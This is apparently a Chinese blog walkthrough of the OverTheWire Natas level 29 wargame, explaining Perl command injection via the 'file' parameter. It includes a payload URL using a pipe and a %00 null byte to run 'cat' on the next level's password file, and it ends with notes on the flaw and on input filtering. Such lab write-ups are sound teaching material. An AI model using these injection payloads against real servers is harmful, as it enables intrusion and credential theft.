我们打开关卡lv29,查看信息


OverTheWire攻关过程-Natas模块29_读取文件


我们可以尝试


OverTheWire攻关过程-Natas模块29_shell命令_02


可以看到路径是perl


OverTheWire攻关过程-Natas模块29_shell命令_03


查询资料


OverTheWire攻关过程-Natas模块29_perl_04


是一种查询语言


OverTheWire攻关过程-Natas模块29_shell命令_05


输入


| ls %00


有显示


我们直接读取文件


payload


https://natas29.natas.labs.overthewire.org/index.pl?file=|%20cat%20/etc/natas_weppass/natas30%20%00


显示结果


OverTheWire攻关过程-Natas模块29_shell命令_06


读取文件


OverTheWire攻关过程-Natas模块29_读取文件_07


参考大神的绕过方式


OverTheWire攻关过程-Natas模块29_读取文件_08


输入得到密码


OverTheWire攻关过程-Natas模块29_读取文件_09


验证密码


OverTheWire攻关过程-Natas模块29_perl_10



总结


总结:

1.在perl中“|”字符会将命令连接到脚本中。
2.URL中,空格可以用“+”或者“%20”表示,双引号(")可以用“%22”表示。
3.%00会被url解码成0x00,导致00截断。
4.00截断原理:截断漏洞出现的核心就是chr(0),这个字符不为空 (Null),也不是空字符 (“”),更不是空格。当程序在输出含有 chr(0)变量时,chr(0)后面的数据会被停止,换句话说,就是误把它当成结束符,后面的数据直接忽略,这就导致了漏洞产生。
5.perl中,open()函数可以执行shell命令。
6.在shell命令注入漏洞中,有多种方式可以绕过过滤,详看这里
7.开发过程中,应尽量少用可以执行命令的函数,如果必须要用,一定要做好过滤。


参考文章

Natas29 Writeup(Perl命令注入、00截断、绕过过滤) - zhengna - 博客园 (cnblogs.com)